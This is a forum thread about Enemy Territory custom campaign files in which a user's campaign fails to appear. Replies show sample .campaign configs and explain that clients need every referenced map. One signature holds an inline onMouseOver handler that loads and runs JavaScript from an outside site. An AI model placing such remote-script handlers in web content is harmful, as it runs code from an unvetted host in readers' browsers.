Problem using certain maps in custom campaign
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Problem using certain maps in custom campaign
I got a problem which I can't get solved. Whenever I try to add a map to my custom campaign which contains a _ the campaign won't work. For example the map Industry which is called ind_beta4.pk3 wont work just as any other map with a _ in it. Should I rename these maps before I can use them in a custom campaign?
Regards
Regards
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- Posts: 127
- Joined: Fri Aug 20, 2004 9:49 am
manually, until now all have worked just fine. I had a ten map and a eight map campaign using caen and some other maps. No problems there. As soon as adding a map with _ all stops to work.....removing the map from the .campaign (rezip and rename as pk3), placing it in etmain, uploading it to the server where I keep maps and stuff for clients to download and all works fine again.
I have a few campaigns with _ in the map name and they all work fine
Code: Select all
{
name "RTCW Maps"
shortname "cmpgn_rtcw"
description "-=RTCW Maps=-*Welcome to the*{Zer0} House Servers.*Remember this is our house*and you are our guests.*Rules:*>Spawn Camping is aloud*>Intentional TKing will* not be tolerated*WEB:www.zer0-clan.com*Rotation is: *Base*Beach*Ice*Tram*Village * * * * "
maps "tc_base;et_beach;et_ice;tram_et;et_village"
mapTC 374 374
type "wolfmp"
}
{Zer0}'s House of Torment 67.19.67.118:27960
{Zer0}'s RTCW server 67.19.67.119:27960
Now Lets Go Kick Some ASS
And thats an Order.
{Zer0}'s RTCW server 67.19.67.119:27960
Now Lets Go Kick Some ASS
And thats an Order.
- KingJackaL
- Posts: 666
- Joined: Thu Jan 08, 2004 3:47 pm
- Location: ChCh, NZ
- Contact:
Well it seems that it is not the maps. I pressed escape whenever I saw the campaign wasn't loading so I could check anythng else. This time I just loaded Fueldump and went to see what I could do as ref. Well, I can pick all the maps (including maps with an _ in it's name) and from campaign I can pick the stand ones but my own campaign is not showing.....I'm lost. Just to make sure there are no errors I'll post my .campaign here:
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{
name "9 maps"
shortname "cmpgn_zzfcustom"
description "www..nl public:*9 map campaign.**All welcome, have fun. No greifing, laming or spamming spawns.**ETpro map scripts in use! Can dynamite back door on
battery & spawn in garage on Fueldump.**Maps:*Fueldump, Oasis, Railgun, Caen, Radar, Marrakech Streets, Battery, Industry, Goldrush"
maps "fueldump;oasis;railgun;caen;radar;et_mor;battery;ind_beta4;goldrush"
mapTC 374 374
type "wolfmp"
}
Be certain you have all of the maps the campaign references on the client you're using to test; the campaign may not be shown otherwise.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
That happens when the client doesn't have all maps in the rotation on his system yet.
Feature request: in such a case at least show the descriptive text? Possible?
Feature request: in such a case at least show the descriptive text? Possible?
Our servers now run on 64 bit steroids. Point your ET to:
- Forgotten Ground StopWatch Server with occasional wolfrof 1
- Fraggle Rock ETPub Server - Mix up ET/UT & Duke Nukem
- Forgotten Ground StopWatch Server with occasional wolfrof 1
- Fraggle Rock ETPub Server - Mix up ET/UT & Duke Nukem
-
- Posts: 127
- Joined: Fri Aug 20, 2004 9:49 am
-
- Posts: 127
- Joined: Fri Aug 20, 2004 9:49 am